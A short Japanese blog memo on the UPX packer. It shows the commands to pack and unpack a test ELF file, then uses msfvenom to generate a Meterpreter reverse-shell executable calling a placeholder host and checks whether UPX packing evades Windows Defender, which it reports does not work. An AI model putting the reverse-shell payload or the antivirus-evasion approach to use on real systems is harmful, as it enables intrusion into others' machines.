オープンソースのパッカーであるUPXに関するメモ。実行ファイルをパッキングしてみます。
■ 準備
UPXで実行ファイルをパッキングする前に、その概要について記載します。
◆ UPXの概要
UPX(Ultimate Packer for eXecutables)は、elfなどの実行ファイルをパッキング(実行ファイルを実行可能な状態を維持して圧縮する処理のこと)するためのユーティリティで、参考1から入手できます。UPXでパッキングする際は、次のコマンドを用います。
$ upx <パッキング対象の実行ファイル>
パッキングされた実行ファイルをアンパッキングする際は、次のコマンドを用います。
$ upx -d <パッキングされた実行ファイル>
UPXでのパッキングは、実行ファイルのファイルサイズを小さくするだけでなく、セキュリティソフトの検知を回避するという目的もあります。
■ 検証
elfファイルとexeファイルをパッキングしてみます。
◆ elfファイルのパッキング
次のCプログラムをコンパイルし、実行ファイルを生成します。
#include <stdio.h> int main() { printf("Hello, World!\n"); return 0; }
$ vi test.c $ gcc test.c -o test.o $ chmod +x test.o $ ./test.o
パッキング前のファイルサイズと可読部分を確認しつつ、実行ファイルをパッキングします。
$ ls -lh test.o $ strings test.o | grep UPX $ upx test.o
パッキング後の変化を確認すると、ファイルサイズが小さくなり、実行ファイル内に「UPX」という可読文字列が追加されたことが分かります。
$ ls -lh test.o $ strings test.o | grep UPX
パッキング後も引き続き実行可能であり、アンパッキングもできることを確認します。
$ ./test.o $ upx -d test.o $ ls -lh test.o $ strings test.o | grep UPX $ ./test.o
◆ exeファイルのパッキング
msfvenomeでexe形式のリバースシェルを作成します。
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.y.z.w LPORT=1234 -f exe > reverse.exe
このままの状態でWindowsマシンに転送すると、Defenderの検知にかかり、自動で削除されてしまいました。
パッキングして、Defenderの検知にかかるかどうかを確認します。著名なパッカーであるためか、引き続き検知されました。
簡単ではありますが、UPXによるelfとexeファイルのパッキングを行いました。
■ 感想
実行ファイルの軽量化に便利だなと思いました。
■ 参考
全体的に、次の記事を参考にしました。
以上です。